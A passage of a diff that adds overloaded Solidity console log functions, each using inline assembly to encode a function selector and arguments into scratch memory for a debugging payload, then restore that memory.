+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(bool,bool,string)`.
+            mstore(0x00, 0x2555fa46)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x60)
+            writeString(0x80, p2)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(bool p0, uint256 p1, address p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(bool,uint256,address)`.
+            mstore(0x00, 0x088ef9d2)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(bool p0, uint256 p1, bool p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(bool,uint256,bool)`.
+            mstore(0x00, 0xe8defba9)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(bool p0, uint256 p1, uint256 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(bool,uint256,uint256)`.
+            mstore(0x00, 0x37103367)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(bool p0, uint256 p1, bytes32 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(bool,uint256,string)`.
+            mstore(0x00, 0xc3fc3970)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x60)
+            writeString(0x80, p2)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, address p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(bool,string,address)`.
+            mstore(0x00, 0x9591b953)
+            mstore(0x20, p0)
+            mstore(0x40, 0x60)
+            mstore(0x60, p2)
+            writeString(0x80, p1)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, bool p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(bool,string,bool)`.
+            mstore(0x00, 0xdbb4c247)
+            mstore(0x20, p0)
+            mstore(0x40, 0x60)
+            mstore(0x60, p2)
+            writeString(0x80, p1)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, uint256 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(bool,string,uint256)`.
+            mstore(0x00, 0x1093ee11)
+            mstore(0x20, p0)
+            mstore(0x40, 0x60)
+            mstore(0x60, p2)
+            writeString(0x80, p1)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, bytes32 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            // Selector of `log(bool,string,string)`.
+            mstore(0x00, 0xb076847f)
+            mstore(0x20, p0)
+            mstore(0x40, 0x60)
+            mstore(0x60, 0xa0)
+            writeString(0x80, p1)
+            writeString(0xc0, p2)
+        }
+        _sendLogPayload(0x1c, 0xe4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+        }
+    }
+
+    function log(uint256 p0, address p1, address p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(uint256,address,address)`.
+            mstore(0x00, 0xbcfd9be0)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(uint256 p0, address p1, bool p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(uint256,address,bool)`.
+            mstore(0x00, 0x9b6ec042)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(uint256 p0, address p1, uint256 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(uint256,address,uint256)`.
+            mstore(0x00, 0x5a9b5ed5)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(uint256 p0, address p1, bytes32 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(uint256,address,string)`.
+            mstore(0x00, 0x63cb41f9)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x60)
+            writeString(0x80, p2)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(uint256 p0, bool p1, address p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(uint256,bool,address)`.
+            mstore(0x00, 0x35085f7b)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(uint256 p0, bool p1, bool p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(uint256,bool,bool)`.
+            mstore(0x00, 0x20718650)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(uint256 p0, bool p1, uint256 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(uint256,bool,uint256)`.
+            mstore(0x00, 0x20098014)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(uint256 p0, bool p1, bytes32 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(uint256,bool,string)`.
+            mstore(0x00, 0x85775021)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x60)
+            writeString(0x80, p2)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, address p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(uint256,uint256,address)`.
+            mstore(0x00, 0x5c96b331)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, bool p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(uint256,uint256,bool)`.
+            mstore(0x00, 0x4766da72)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, uint256 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(uint256,uint256,uint256)`.
+            mstore(0x00, 0xd1ed7a3c)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, bytes32 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(uint256,uint256,string)`.
+            mstore(0x00, 0x71d04af2)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x60)
+            writeString(0x80, p2)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, address p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(uint256,string,address)`.
+            mstore(0x00, 0x7afac959)
+            mstore(0x20, p0)
+            mstore(0x40, 0x60)
+            mstore(0x60, p2)
+            writeString(0x80, p1)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, bool p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(uint256,string,bool)`.
+            mstore(0x00, 0x4ceda75a)
+            mstore(0x20, p0)
+            mstore(0x40, 0x60)
+            mstore(0x60, p2)
+            writeString(0x80, p1)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, uint256 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(uint256,string,uint256)`.
+            mstore(0x00, 0x37aa7d4c)
+            mstore(0x20, p0)
+            mstore(0x40, 0x60)
+            mstore(0x60, p2)
+            writeString(0x80, p1)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, bytes32 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            // Selector of `log(uint256,string,string)`.
+            mstore(0x00, 0xb115611f)
+            mstore(0x20, p0)
+            mstore(0x40, 0x60)
+            mstore(0x60, 0xa0)
+            writeString(0x80, p1)
+            writeString(0xc0, p2)
+        }
+        _sendLogPayload(0x1c, 0xe4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+        }
+    }
+
+    function log(bytes32 p0, address p1, address p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(string,address,address)`.
+            mstore(0x00, 0xfcec75e0)
+            mstore(0x20, 0x60)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            writeString(0x80, p0)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(bytes32 p0, address p1, bool p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(string,address,bool)`.
+            mstore(0x00, 0xc91d5ed4)
+            mstore(0x20, 0x60)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            writeString(0x80, p0)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(bytes32 p0, address p1, uint256 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(string,address,uint256)`.
+            mstore(0x00, 0x0d26b925)
+            mstore(0x20, 0x60)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            writeString(0x80, p0)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(bytes32 p0, address p1, bytes32 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            // Selector of `log(string,address,string)`.
+            mstore(0x00, 0xe0e9ad4f)
+            mstore(0x20, 0x60)
+            mstore(0x40, p1)
+            mstore(0x60, 0xa0)
+            writeString(0x80, p0)
+            writeString(0xc0, p2)
+        }
+        _sendLogPayload(0x1c, 0xe4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, address p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(string,bool,address)`.
+            mstore(0x00, 0x932bbb38)
+            mstore(0x20, 0x60)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            writeString(0x80, p0)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, bool p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(string,bool,bool)`.
+            mstore(0x00, 0x850b7ad6)
+            mstore(0x20, 0x60)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            writeString(0x80, p0)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, uint256 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
